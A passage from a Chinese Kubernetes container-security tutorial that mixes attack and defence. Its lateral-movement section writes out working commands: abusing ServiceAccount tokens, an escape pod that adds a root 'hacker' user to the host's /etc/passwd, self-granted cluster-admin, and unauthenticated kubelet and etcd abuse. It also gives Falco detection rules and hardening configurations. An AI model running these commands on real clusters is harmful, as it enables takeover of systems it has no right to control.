kubectl get pods --all-namespaces -o json | jq -r '
  .items[] as $pod
  | $pod.spec.containers[]? as $c
  | select($c.securityContext.allowPrivilegeEscalation != false)
  | "  ⚠ [中危] \($pod.metadata.namespace)/\($pod.metadata.name) 容器 \($c.name) " +
    "未设置 allowPrivilegeEscalation=false"'

echo ""
echo "【7】未设置 seccomp RuntimeDefault 的 Pod"
echo "----------------------------------------"
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] as $pod
  | (.spec.securityContext.seccompProfile.type // "未设置") as $st
  | select($st != "RuntimeDefault" and $st != "Localhost")
  | "  ⚠ [中危] \($pod.metadata.namespace)/\($pod.metadata.name) seccomp = \($st)"'

echo ""
echo "【8】未设置资源限制的 Pod(DoS 风险)"
echo "----------------------------------------"
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] as $pod
  | $pod.spec.containers[]? as $c
  | select($c.resources.limits == null)
  | "  ⚠ [低危] \($pod.metadata.namespace)/\($pod.metadata.name) 容器 \($c.name) 无资源上限"'

echo ""
echo "=========================================="
echo " 审计完成"
echo "=========================================="

6.6.6 逃逸姿势五:内核漏洞(最根本的一类)

这一类无法被配置完全防住,因为根源是“共享内核”。

① 为什么容器里的内核漏洞 = 宿主机的

容器和宿主机共享【同一个内核】。
所以任何一个本地提权的内核漏洞(LPE),
在容器里跑 = 在宿主机上提权。

  Dirty COW (CVE-2016-5195)   在容器里跑 → 宿主机 root
  Dirty Pipe (CVE-2022-0847)  在容器里跑 → 宿主机 root
  PwnKit     (CVE-2021-4034)  在容器里跑 → 宿主机 root
  ...

唯一的缓解:
  ① seccomp 挡掉相关的系统调用(有时有效,有时无效)
  ② 及时打内核补丁(最有效)
  ③ 用强隔离运行时(gVisor 有独立内核、Kata 有独立 VM)

② Dirty Pipe 在容器里的利用(简化说明)

# Dirty Pipe (CVE-2022-0847) 影响 Linux 5.8 ~ 5.16.11
#
# 原理:管道(pipe)的 buffer 的 flags 字段没有初始化,
#       导致可以"往一个只读文件里写数据"(绕过文件权限)。
#
# 在容器里的利用思路:
#   ① 容器里的 /etc/passwd 是镜像层里的只读文件?不,它在容器的可写层
#   ② 但如果宿主机的某个只读文件被挂进容器(比如 /usr/bin/su、
#      /etc/crontab),就能直接用 Dirty Pipe 改它
#   ③ 或者:改容器里一个 SUID 程序(比如 /usr/bin/passwd),
#      让它变成后门,然后等宿主机(如果共享)或有权限的人执行

# 简化 PoC(校验内核版本)
uname -r
# 5.8 ~ 5.16.11 → 受影响

# 完整利用代码(exploit.c,网上有标准版,这里给核心逻辑说明)
#   ① 打开目标只读文件(O_RDONLY)
#   ② 创建一个 pipe
#   ③ 往 pipe 里写满数据,让 PIPE_BUF_FLAG_CAN_MERGE 标志被"遗留"
#   ④ splice() 把目标文件的一页读进 pipe
#   ⑤ 再往 pipe 写数据 → 因为 CAN_MERGE 残留,数据被写进了
#      目标文件的 page cache(!!!)
#   ⑥ 目标只读文件被修改了

# 检测:看内核版本
# 修复:升级内核到 5.16.11+ / 5.15.25+ / 5.10.102+

③ 防御:三层

第一层:补丁(最根本)
  - 宿主机内核定期更新,安全公告订阅(CVE、各发行版安全邮件列表)
  - 容器镜像里的【用户态程序】也要更新(很多逃逸后的利用靠这些)

第二层:运行时限制(减小被打中的概率)
  - seccomp: RuntimeDefault(挡掉 300+ 个系统调用,很多 LPE 用到的
    userfaultfd、keyctl、ptrace、bpf 等都被挡掉了)
  - drop ALL capabilities(很多 LPE 需要 CAP_SYS_ADMIN 或 CAP_NET_RAW)
  - AppArmor / SELinux(限制能访问的文件)
  - 只读根文件系统(挡住"落地 exploit 文件")

第三层:强隔离(多租户场景必需)
  - gVisor(runsc):用户态实现内核,容器里的系统调用不直接进宿主机内核
      → 内核漏洞打不到宿主机(但要打 gVisor 自己的 bug)
      → 代价:系统调用开销大,性能下降 10~30%,部分系统调用不支持
  - Kata Containers:每个容器(或 Pod)跑在一个轻量 VM 里
      → 真·硬件隔离,逃逸要攻破 Hypervisor
      → 代价:启动慢一点(~500ms),内存开销大一点
  - Firecracker / AWS Lambda 用的 microVM:类似 Kata,更极致的轻量

★ 选型建议:
  内部可信负载、单租户       → runc + restricted PSA(够用)
  多租户(不同客户共享节点)  → Kata / gVisor
  不可信代码执行(CI 跑用户提交的代码)→ gVisor 或 Kata(必上)

6.6.7 逃逸之后:Kubernetes 集群横向移动

拿到宿主机 root 只是开始。在 K8s 集群里,真正的目标是“控制整个集群”。

① ServiceAccount Token(容器里的“身份证”)

K8s 会给每个 Pod 自动挂载一个 ServiceAccount Token:

  路径:/var/run/secrets/kubernetes.io/serviceaccount/
          ├── token       ← JWT,代表这个 Pod 的身份
          ├── ca.crt      ← API Server 的 CA 证书
          └── namespace   ← 当前 namespace

★ 默认权限:取决于 RBAC 配置。
  很多集群给 default ServiceAccount 配了过高的权限(甚至 cluster-admin!)
# ===== 从容器里拿 Token 并操作集群 =====

# ① 读 Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# ② 找 API Server 地址
env | grep -i kubernetes
#   KUBERNETES_SERVICE_HOST=10.96.0.1
#   KUBERNETES_SERVICE_PORT=443
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

# ③ 测试权限:能不能列出所有 namespace
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
     "$APISERVER/api/v1/namespaces" | jq -r '.items[].metadata.name'

# ④ 试各种敏感操作(★ 权限探测清单)
echo "=== 能不能列所有 Secret ==="
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
     "$APISERVER/api/v1/secrets?all-namespaces=true" | head -c 500

echo "=== 能不能在当前 namespace 创建 Pod ==="
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
     -X POST "$APISERVER/api/v1/namespaces/$NS/pods" \
     -H "Content-Type: application/json" -d @pod.json

echo "=== 能不能读 kube-system 的 Secret ==="
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
     "$APISERVER/api/v1/namespaces/kube-system/secrets" | jq -r '.items[].metadata.name'

echo "=== 能不能 exec 进其他 Pod(★ 最危险)==="
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
     "$APISERVER/api/v1/namespaces/default/pods/victim-pod/exec?command=/bin/sh&stdin=true&stdout=true&tty=true"
# 需要 websocket 升级,通常用 kubectl 更方便

echo "=== 能不能访问 kubelet(10250)==="
curl -sk -H "Authorization: Bearer $TOKEN" \
     "https://<NODE_IP>:10250/pods"

自动化的权限探测脚本(用 kubectl 的 auth can-i):

#!/bin/bash
# k8s_priv_escalation_check.sh
# 在容器里跑,探测当前 ServiceAccount 有哪些危险权限

echo "=========================================="
echo " K8s ServiceAccount 危险权限探测"
echo " Pod: $(hostname)"
echo " Namespace: $(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)"
echo " 时间: $(date)"
echo "=========================================="

DANGEROUS=(
    "create pods"
    "create pods/exec"
    "get pods/exec"
    "create pods/attach"
    "list secrets"
    "get secrets"
    "create secrets"
    "list pods"
    "get pods"
    "delete pods"
    "create serviceaccounts"
    "create serviceaccounts/token"
    "create clusterroles"
    "create clusterrolebindings"
    "escalate clusterroles"
    "bind clusterroles"
    "impersonate users"
    "impersonate groups"
    "impersonate serviceaccounts"
    "create persistentvolumes"
    "create nodes"
    "get nodes/proxy"
    "create daemonsets"
    "create deployments"
    "patch deployments"
    "create cronjobs"
    "create mutatingwebhookconfigurations"
    "create validatingwebhookconfigurations"
    "create certificatesigningrequests"
)

echo ""
echo "【当前 namespace 内权限】"
echo "----------------------------------------"
for perm in "${DANGEROUS[@]}"; do
    result=$(kubectl auth can-i $perm 2>/dev/null)
    if [ "$result" == "yes" ]; then
        echo "  ★ [YES] $perm"
    fi
done

echo ""
echo "【集群级别权限(--all-namespaces)】"
echo "----------------------------------------"
for perm in "${DANGEROUS[@]}"; do
    result=$(kubectl auth can-i $perm --all-namespaces 2>/dev/null)
    if [ "$result" == "yes" ]; then
        echo "  ★★ [YES] $perm  (集群级!)"
    fi
done

echo ""
echo "【有没有 cluster-admin】"
echo "----------------------------------------"
kubectl auth can-i '*' '*' 2>/dev/null | grep -q yes && \
    echo "  ★★★ 你是 cluster-admin,整个集群是你的了" || \
    echo "  不是 cluster-admin"

echo ""
echo "【可访问的 Secret 清单】"
echo "----------------------------------------"
kubectl get secrets --all-namespaces -o custom-columns=\
'NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.type' 2>/dev/null | head -30

echo ""
echo "=========================================="

② RBAC 权限提升的经典路径

攻击者拿到一个低权限 ServiceAccount 后,常见的提权路径:

【路径 1:create pods/exec → 控制其他 Pod】
  有 exec 权限 → 进到其他 Pod → 读那个 Pod 的 Secret / Token
  → 拿到更高权限的 SA → 继续横向

【路径 2:list secrets → 偷 Token】
  能列 Secret → 找到高权限 SA 的 Token → 直接用它
  (★ K8s 1.24 之前,SA Token 是永久有效的!1.24+ 改成有时效的)

【路径 3:create pods → 创建特权 Pod → 逃逸到节点】
  ★ 这是"从 Pod 权限到宿主机 root"的经典路径:

  kubectl apply -f - <<EOF
  apiVersion: v1
  kind: Pod
  metadata:
    name: escape-pod
    namespace: default
  spec:
    hostPID: true
    hostNetwork: true
    containers:
    - name: escape
      image: alpine
      command: ["/bin/sh"]
      args: ["-c", "nsenter --target 1 --mount --uts --ipc --net --pid -- bash -c 'echo hacker::0:0::/root:/bin/bash >> /etc/passwd'"]
      securityContext:
        privileged: true
    volumes:
    - name: host
      hostPath:
        path: /
  EOF
  # Pod 一启动,宿主机的 /etc/passwd 就被改了

  更狠的:用 DaemonSet,在【所有节点】上都跑一遍 → 全集群沦陷

【路径 4:escalate / bind 权限 → 自己给自己发 cluster-admin】
  kubectl create clusterrolebinding pwned \
      --clusterrole=cluster-admin --serviceaccount=default:default
  (需要 escalate 或 bind 权限,或者自己是 cluster-admin)

【路径 5:impersonate → 冒充别人】
  kubectl auth can-i --list --as=system:serviceaccount:kube-system:default
  # 有 impersonate 权限就能以任何身份操作

【路径 6:create serviceaccounts/token → 伪造高权限 Token】
  kubectl create token <高权限SA>   # K8s 1.24+ 支持
  # 需要 create serviceaccounts/token 权限

【路径 7:修改 MutatingWebhookConfiguration → 注入所有新 Pod】
  有这个权限 → 配一个 webhook,所有新建的 Pod 都被注入你的 sidecar
  → 整个集群持久化,极难清除

【路径 8:改 DaemonSet / Deployment → 打进所有节点】
  kubectl patch daemonset <系统DS> -n kube-system --patch '...'
  → 系统级 DaemonSet(比如 CNI)在每个节点都跑,一改全中

③ kubelet 10250 端口未授权访问

kubelet 在每个节点上监听 10250 端口,提供:
  - /pods        列出本节点所有 Pod(★ 含环境变量、Secret 引用)
  - /exec/<ns>/<pod>/<container>   ★ 在任意容器里执行命令
  - /run/<ns>/<pod>/<container>

★ 如果 kubelet 开了匿名认证(--anonymous-auth=true,老版本默认开!),
  而且没配 RBAC 限制,那么任何人访问:

  curl -k https://<NODE_IP>:10250/pods
  → 拿到节点上所有 Pod 的信息(含环境变量里的密码!)

  curl -k -X POST "https://<NODE_IP>:10250/run/default/nginx/nginx" \
       -d "cmd=id"
  → 在容器里执行命令!

  如果 Pod 是特权的 → 直接逃逸到节点 root

检测与防御:

# 检测:kubelet 是否开了匿名认证
curl -sk https://<NODE_IP>:10250/pods | head
# 如果返回 JSON 而不是 401/403 → ★ 未授权访问,立刻修

# 修复:
#   ① 关闭匿名认证
#      /var/lib/kubelet/config.yaml
#      authentication:
#        anonymous:
#          enabled: false      # ★
#        webhook:
#          enabled: true
#        x509:
#          clientCAFile: /etc/kubernetes/pki/ca.crt
#      authorization:
#        mode: Webhook          # ★ 不要用 AlwaysAllow
#   ② 重启 kubelet
#      systemctl restart kubelet

#   ③ 防火墙:10250 只对 API Server 和监控开放,不对业务网段开放
#   ④ 只读端口 10255 也要关(--read-only-port=0)

④ etcd 未授权访问(2379)

etcd 是 K8s 的数据库,存着:
  - 所有 Secret(base64 编码的,一解就出来)
  - 所有 Pod/Service/Deployment 定义
  - 所有 ServiceAccount Token(老版本)

如果 etcd 监听在 0.0.0.0 且没开 TLS/认证:

  # 列出所有 key
  ETCDCTL_API=3 etcdctl --endpoints=http://<ETCD_IP>:2379 get / --prefix --keys-only

  # 直接读某个 Secret
  ETCDCTL_API=3 etcdctl --endpoints=http://<ETCD_IP>:2379 \
      get /registry/secrets/default/my-secret

  # 更狠:直接往 etcd 里塞数据(K8s 会同步成集群状态)
  ETCDCTL_API=3 etcdctl --endpoints=http://<ETCD_IP>:2379 \
      put /registry/pods/default/evil-pod '<Pod 定义 JSON>'
  # → API Server 会"看到"这个 Pod 并调度它!

防御:

# ① etcd 只监听内网 + 强制 TLS + 客户端证书认证
#    /etc/etcd/etcd.conf
ETCD_LISTEN_CLIENT_URLS="https://10.0.0.10:2379"       # ★ 不要 0.0.0.0
ETCD_ADVERTISE_CLIENT_URLS="https://10.0.0.10:2379"
ETCD_CERT_FILE="/etc/etcd/ssl/server.crt"
ETCD_KEY_FILE="/etc/etcd/ssl/server.key"
ETCD_TRUSTED_CA_FILE="/etc/etcd/ssl/ca.crt"
ETCD_CLIENT_CERT_AUTH="true"                           # ★ 强制客户端证书
ETCD_PEER_CERT_FILE="/etc/etcd/ssl/peer.crt"
ETCD_PEER_KEY_FILE="/etc/etcd/ssl/peer.key"
ETCD_PEER_CLIENT_CERT_AUTH="true"

# ② 启用静态加密(EncryptionConfiguration)
#    即使有人拿到 etcd 备份,也读不出 Secret
# /etc/kubernetes/enc/encryption.yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
  - resources:
      - secrets
      - configmaps
    providers:
      - aescbc:                      # 或用 kms(对接云厂商 KMS,更安全)
          keys:
            - name: key1
              secret: <base64 编码的 32 字节随机密钥>
      - identity: {}                 # 兜底:没有加密前缀的老数据
# 生成密钥
head -c 32 /dev/urandom | base64

# 配置 API Server 使用它(/etc/kubernetes/manifests/kube-apiserver.yaml)
#   - --encryption-provider-config=/etc/kubernetes/enc/encryption.yaml
# 并挂载 volume

# 应用后,重新写入所有 Secret 才会真正加密
kubectl get secrets --all-namespaces -o json | kubectl replace -f -

⑤ K8s 集群加固清单

【API Server】
  □ --anonymous-auth=false
  □ --authorization-mode=Node,RBAC(★ 不要 AlwaysAllow)
  □ --enable-admission-plugins=NodeRestriction,PodSecurity,...
  □ 启用审计日志(--audit-log-path + policy)
  □ 定期轮换证书
  □ 不暴露到公网(用堡垒机 / 专用网络访问)

【RBAC】
  □ 遵循最小权限,不用 cluster-admin 跑业务
  □ default ServiceAccount 不自动挂载 Token(automountServiceAccountToken: false)
  □ 定期审查 RoleBinding/ClusterRoleBinding(谁有 escalate/bind/impersonate)
  □ 不给业务 SA 这些权限:create pods/exec、list secrets(跨 ns)、
                        escalate、bind、impersonate、create daemonsets

【Pod 安全】
  □ 业务 namespace 上 Pod Security Admission = restricted
  □ 所有容器:runAsNonRoot + readOnlyRootFilesystem + drop ALL capabilities
  □ 禁止 privileged、hostPath、hostPID/hostIPC/hostNetwork
  □ seccompProfile = RuntimeDefault
  □ 资源 limits 必填(防 DoS)
  □ 只读根 + emptyDir 给 /tmp

【节点】
  □ kubelet --anonymous-auth=false
  □ kubelet 授权模式 = Webhook(不是 AlwaysAllow)
  □ 关闭 10255 只读端口
  □ 10250 不对业务网段开放(防火墙)
  □ 节点最小化安装(不需要的包全删)
  □ 定期打内核补丁

【etcd】
  □ 只用 TLS + 客户端证书
  □ 只监听内网地址
  □ 启用静态加密(EncryptionConfiguration)或 KMS
  □ 定期备份并验证可恢复

【网络】
  □ NetworkPolicy 默认拒绝(default-deny)
  □ 按 namespace/标签做微分段
  □ etcd、API Server、kubelet 端口不对业务网段开放

【镜像与供应链】
  □ 私有仓库 + 镜像扫描(Trivy / Grype)
  □ 镜像签名(cosign)+ 准入校验(Kyverno 验签)
  □ 基础镜像用 distroless 或 alpine,定期重建
  □ 不在镜像里放密钥(用 Secret / 外部密钥管理)

【运行时检测】
  □ Falco / Tracee / Cilium Tetragon
  □ 审计日志接入 SIEM
  □ 关键告警:特权容器启动、容器内 mount/nsenter、
             访问 docker.sock、容器里起 shell、写入 hostPath

【策略引擎】
  □ Kyverno 或 OPA Gatekeeper,Enforce 模式
  □ 策略:禁特权、禁 docker.sock、禁危险 hostPath、
          要求 resource limits、要求只读根、要求镜像来自可信仓库

⑥ Falco 容器运行时检测规则集

# falco_container_rules.yaml

- macro: trusted_container_images
  condition: (container.image.repository startswith "registry.internal/")

- rule: 容器内启动 shell
  desc: 容器里出现交互式 shell 通常不是正常业务行为
  condition: >
    spawned_process and container
    and proc.name in (sh, bash, zsh, dash, ash, csh, ksh)
    and not trusted_container_images
  output: >
    ★ 容器内启动 shell (命令=%proc.cmdline 容器=%container.name
    镜像=%container.image.repository Pod=%k8s.pod.name 命名空间=%k8s.ns.name)
  priority: WARNING
  tags: [container, shell]

- rule: 容器里写入敏感宿主机路径
  desc: 通过 hostPath 挂载写入宿主机敏感文件
  condition: >
    open_write and container
    and fd.name startswith /host
    and (fd.name contains /etc/ or fd.name contains /root/.ssh
         or fd.name contains /var/spool/cron)
  output: >
    ★★ 容器写入宿主机敏感文件 (文件=%fd.name 容器=%container.name
    Pod=%k8s.pod.name 进程=%proc.cmdline)
  priority: CRITICAL
  tags: [container, escape]

- rule: 容器访问 docker.sock
  desc: 访问 docker socket 是逃逸的典型前兆
  condition: >
    (open_read or open_write) and container
    and fd.name = /var/run/docker.sock
  output: >
    ★★ 容器访问 docker.sock (容器=%container.name 进程=%proc.cmdline
    Pod=%k8s.pod.name)
  priority: CRITICAL
  tags: [container, escape]

- rule: 容器内执行特权操作(mount/nsenter/unshare/setns)
  condition: >
    spawned_process and container
    and proc.name in (mount, nsenter, unshare, setns)
  output: >
    ★★ 容器内执行隔离突破命令 (命令=%proc.cmdline 容器=%container.name)
  priority: CRITICAL
  tags: [container, escape]

- rule: 容器以 root 运行且启动了新进程
  condition: >
    spawned_process and container
    and user.name = root
    and not trusted_container_images
  output: >
    ⚠ 容器内以 root 启动进程 (命令=%proc.cmdline 容器=%container.name)
  priority: INFO
  tags: [container, compliance]

- rule: 容器修改 /proc/sys/kernel/core_pattern
  condition: >
    open_write and container
    and fd.name = /proc/sys/kernel/core_pattern
  output: >
    ★★★ 疑似 core_pattern 逃逸 (容器=%container.name 进程=%proc.cmdline)
  priority: CRITICAL
  tags: [container, escape]

- rule: 容器读取 ServiceAccount Token
  desc: 业务容器一般不读自己的 SA Token,读了可能是横向移动
  condition: >
    open_read and container
    and fd.name startswith /var/run/secrets/kubernetes.io/serviceaccount
    and not proc.name in (kubectl, kube-proxy)
  output: >
    ⚠ 容器读取 SA Token (容器=%container.name 进程=%proc.cmdline)
  priority: WARNING
  tags: [k8s, lateral]

- rule: 容器发起异常出站连接
  desc: 容器连到非业务端口(可能是 C2)
  condition: >
    outbound and container
    and fd.sport in (4444, 5555, 6666, 7777, 8888, 9999, 1337, 31337)
  output: >
    ★ 容器连接可疑端口 (目标=%fd.rip:%fd.rport 容器=%container.name
    进程=%proc.cmdline)
  priority: CRITICAL
  tags: [container, c2]

6.6.8 容器镜像与运行时加固(防御侧的完整清单)

① 安全的 Dockerfile 模板

# ===== 反例(常见错误)=====
# FROM ubuntu:latest                    # ❌ latest 不可复现
# USER root                             # ❌ 用 root 跑
# COPY . /app                           # ❌ 会把 .git、.env 都拷进去
# RUN apt-get install -y curl vim       # ❌ 装一堆不必要的包
# ENV DB_PASSWORD="P@ssw0rd123"         # ❌ 密钥写死在镜像里
# EXPOSE 22                             # ❌ 容器里跑 sshd
# CMD ["npm", "start"]                  # ❌ 用 npm 启动,PID 1 不是应用

# ===== 正例:多阶段构建 + 非 root + 最小化 =====

# ---------- 第 1 阶段:构建 ----------
FROM maven:3.9-eclipse-temurin-21 AS builder
WORKDIR /build

# 先只拷依赖描述文件,利用 Docker 层缓存
# (改代码不会导致重新下载依赖)
COPY pom.xml .
RUN mvn -B -q dependency:go-offline

# 再拷源码
COPY src ./src
RUN mvn -B -q clean package -DskipTests

# ---------- 第 2 阶段:运行 ----------
# 用 distroless:没有 shell、没有包管理器、没有 curl/wget
# ★ 攻击者拿到 shell 也没法干任何事(连 ls 都没有)
FROM gcr.io/distroless/java21-debian12:nonroot

WORKDIR /app

# 只拷贝构建产物(JAR),不拷源码、不拷 .git、不拷 pom.xml
COPY --from=builder --chown=nonroot:nonroot /build/target/app.jar /app/app.jar

# ★ 用非 root 用户(distroless 的 nonroot 是 uid 65532)
USER nonroot:nonroot

# 只读根文件系统 + 只暴露必要端口
EXPOSE 8080

# ★ 用 exec 形式,让应用成为 PID 1(能正确接收 SIGTERM)
#   不要用 shell 形式(CMD java -jar app.jar 会起一个 /bin/sh 当 PID 1)
ENTRYPOINT ["java", "-jar", "/app/app.jar"]

# ★ distroless 没有 shell,所以要调试时用 debug 镜像:
#   gcr.io/distroless/java21-debian12:debug(带 busybox)
#   用法:kubectl debug -it <pod> --image=...debug --target=<container>

要点说明(面试常问):

Q:为什么要用多阶段构建?
A:构建阶段需要 Maven/JDK/npm/编译器(几百 MB),
   运行阶段只需要 JAR 或二进制文件。
   多阶段构建让最终镜像只有几十 MB,
   【攻击面大幅减小】(没有编译器 = 攻击者在容器里编译不了 exploit)。

Q:为什么用 distroless / scratch?
A:① 没有 shell → 拿到 RCE 也没法执行命令(攻防里的"哑火")
   ② 没有包管理器 → 装不了攻击工具
   ③ 没有 curl/wget → 下不了 payload
   ④ 体积小、漏洞少(CVE 扫描几乎扫不出东西)
   代价:调试麻烦(要用 kubectl debug ephemeral container)

Q:为什么不能用 root 跑?
A:容器里的 root = 宿主机的 root(默认共享 user namespace)。
   一旦逃逸,直接是宿主机 root。
   用非 root(uid 65532)的话,即使逃逸,
   还得再提一次权才能真正拿到 root。

Q:为什么 CMD 要用 exec 形式?
A:shell 形式 `CMD java -jar app.jar` 会启动 /bin/sh -c "java -jar app.jar",
   sh 是 PID 1,java 是子进程。
   问题:① SIGTERM 不会传给 java(优雅关闭失效,K8s 滚动更新时会强杀)
        ② 信号转发、僵尸进程回收全有问题
   exec 形式 `ENTRYPOINT ["java","-jar","app.jar"]` 让 java 直接是 PID 1。

② 镜像漏洞扫描

# ===== Trivy(最常用,Aqua Security 出品)=====

# ① 扫描镜像
trivy image myapp:1.0
# 输出:按 CRITICAL/HIGH/MEDIUM/LOW 分级列出 CVE

# ② 只看高危和严重,并给出修复建议
trivy image --severity HIGH,CRITICAL myapp:1.0

# ③ 扫描并阻断 CI(有高危就 exit 1)
trivy image --exit-code 1 --severity CRITICAL myapp:1.0

# ④ 扫描并输出 SBOM(软件物料清单,合规要求)
trivy image --format cyclonedx --output sbom.json myapp:1.0

# ⑤ 扫描 IaC 配置(K8s YAML、Dockerfile、Terraform)
trivy config ./k8s/
trivy fs --security-checks config .

# ⑥ 扫描仓库里所有镜像
trivy repo https://github.com/myorg/myapp

# ===== Grype(Anchore 出品,速度更快)=====
grype myapp:1.0
grype dir:./              # 扫目录(依赖清单)
grype sbom:./sbom.json    # 扫 SBOM

# ===== 集成到 CI(GitLab CI 示例)=====
# .gitlab-ci.yml
# scan:
#   stage: test
#   image: aquasec/trivy:latest
#   script:
#     - trivy image --exit-code 1 --severity CRITICAL,HIGH $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
#   allow_failure: false
#
# ★ 生产建议:
#   CRITICAL → 阻断(allow_failure: false)
#   HIGH     → 告警 + 要求 7 天内修复
#   MEDIUM   → 记录,季度清理
#   LOW      → 忽略

③ 镜像签名(cosign)

# ===== cosign(Sigstore 项目,CNCF 毕业)=====

# ① 生成密钥对(或用 keyless 模式,用 OIDC 身份签名)
cosign generate-key-pair
# 生成 cosign.key(私钥,妥善保管)和 cosign.pub(公钥)

# ② 签名镜像
cosign sign --key cosign.key myregistry/myapp:1.0

# ③ 验证签名
cosign verify --key cosign.pub myregistry/myapp:1.0
# 输出:Verification for myregistry/myapp:1.0 --
#   The cosign claims were validated
#   Signature was verified against the specified public key

# ④ ★ 在 K8s 准入层强制验签(Kyverno)
#    没签名的镜像一律不准进集群

# ⑤ Keyless 模式(推荐,不用管密钥)
#    用 GitHub/OIDC 身份签名,签名记录在 Rekor 透明日志里
COSIGN_EXPERIMENTAL=1 cosign sign myregistry/myapp:1.0
# 会打开浏览器让你用 GitHub 账号登录
# Kyverno 策略:只运行已签名的镜像
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signature
spec:
  validationFailureAction: Enforce
  webhookTimeoutSeconds: 30
  rules:
    - name: check-signature
      match:
        any:
          - resources:
              kinds: [Pod]
      verifyImages:
        - imageReferences:
            - "myregistry/*"
          attestors:
            - count: 1
              entries:
                - keys:
                    publicKeys: |
                      -----BEGIN PUBLIC KEY-----
                      MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
                      -----END PUBLIC KEY-----

④ 加固后的完整 K8s Deployment 示例

apiVersion: apps/v1
kind: Deployment
metadata:
  name: secure-app
  namespace: production
  labels:
    app: secure-app
spec:
  replicas: 3
  selector:
    matchLabels:
      app: secure-app
  template:
    metadata:
      labels:
        app: secure-app
      annotations:
        # 给 Falco 等工具标注,便于溯源
        security.internal/owner: "platform-team"
    spec:
      # ★ 不自动挂载 ServiceAccount Token(业务应用一般不需要)
      automountServiceAccountToken: false

      # Pod 级别安全上下文
      securityContext:
        runAsNonRoot: true
        runAsUser: 65532          # distroless 的 nonroot
        runAsGroup: 65532
        fsGroup: 65532
        seccompProfile:
          type: RuntimeDefault    # ★ 挡掉 300+ 系统调用
        # 可选:AppArmor 配置(需要节点支持)
        # apparmorProfile:
        #   type: RuntimeDefault

      containers:
        - name: app
          image: myregistry/secure-app:1.0.0@sha256:abcd...   # ★ 用 digest 而不是 tag
          imagePullPolicy: Always

          # 容器级别安全上下文
          securityContext:
            allowPrivilegeEscalation: false      # ★ 禁止 setuid 提权
            readOnlyRootFilesystem: true         # ★ 根文件系统只读
            runAsNonRoot: true
            runAsUser: 65532
            privileged: false
            capabilities:
              drop:
                - ALL                            # ★ 全部丢弃

          # 资源限制(防 DoS,也让 QoS 变成 Guaranteed)
          resources:
            requests:
              cpu: 100m
              memory: 128Mi
              ephemeral-storage: 100Mi
            limits:
              cpu: 500m
              memory: 512Mi
              ephemeral-storage: 500Mi

          # 健康检查
          livenessProbe:
            httpGet:
              path: /actuator/health/liveness
              port: 8080
            initialDelaySeconds: 30
            periodSeconds: 10
            failureThreshold: 3
          readinessProbe:
            httpGet:
              path: /actuator/health/readiness
              port: 8080
            initialDelaySeconds: 10
            periodSeconds: 5
          startupProbe:
            httpGet:
              path: /actuator/health
              port: 8080
            failureThreshold: 30
            periodSeconds: 10

          # 端口(只暴露必要的)
          ports:
            - name: http
              containerPort: 8080
              protocol: TCP

          # ★ 环境变量不要放密钥!用 Secret 引用或外部密钥管理
          env:
            - name: SPRING_PROFILES_ACTIVE
              value: "prod"
            - name: DB_HOST
              valueFrom:
                secretKeyRef:
                  name: db-credentials
                  key: host
            - name: DB_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: db-credentials
                  key: password
          # 或用 CSI Secret Store Driver 对接云厂商 KMS / Vault

          # 临时目录(因为根文件系统只读,需要 writable 的目录要用 emptyDir)
          volumeMounts:
            - name: tmp
              mountPath: /tmp
            - name: cache
              mountPath: /app/cache

      volumes:
        - name: tmp
          emptyDir:
            medium: Memory       # 用内存盘,不落磁盘
            sizeLimit: 64Mi
        - name: cache
          emptyDir:
            sizeLimit: 256Mi

      # 调度约束
      # nodeSelector / affinity:让敏感负载跑在专用节点池
      affinity:
        podAntiAffinity:
          preferredDuringSchedulingIgnoredDuringExecution:
            - weight: 100
              podAffinityTerm:
                labelSelector:
                  matchExpressions:
                    - key: app
                      operator: In
                      values: [secure-app]
                topologyKey: kubernetes.io/hostname   # 分散到不同节点

      # 优雅终止(给应用时间处理完请求)
      terminationGracePeriodSeconds: 30

---
# ★ 配套的 NetworkPolicy:默认拒绝,只放行必要流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: secure-app-netpol
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: secure-app
  policyTypes:
    - Ingress
    - Egress
  ingress:
    # 只允许 Ingress Controller 访问
    - from:
        - namespaceSelector:
            matchLabels:
              name: ingress-nginx
      ports:
        - protocol: TCP
          port: 8080
    # 只允许同 namespace 的 monitoring 抓取指标
    - from:
        - namespaceSelector:
            matchLabels:
              name: monitoring
      ports:
        - protocol: TCP
          port: 8080
  egress:
    # 允许 DNS
    - to:
        - namespaceSelector:
            matchLabels:
              name: kube-system
      ports:
        - protocol: UDP
          port: 53
        - protocol: TCP
          port: 53
    # 允许访问数据库(同一 namespace 的 db 服务)
    - to:
        - podSelector:
            matchLabels:
              app: postgres
      ports:
        - protocol: TCP
          port: 5432
    # ★ 其他出站全部拒绝(防 C2 外连、防横向扫描)

⑤ 强隔离运行时(gVisor / Kata)

# ===== 用 RuntimeClass 给不可信负载上强隔离 =====

# ① 定义 RuntimeClass(节点上要先装好 gVisor 或 Kata)
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc              # gVisor 的 handler 名
---
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata
handler: kata               # Kata Containers 的 handler 名
overhead:
  podFixed:
    memory: "160Mi"
    cpu: "250m"
scheduling:
  nodeSelector:
    katacontainers.io/kata-runtime: "true"
---
# ② 不可信负载用它
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-workload
spec:
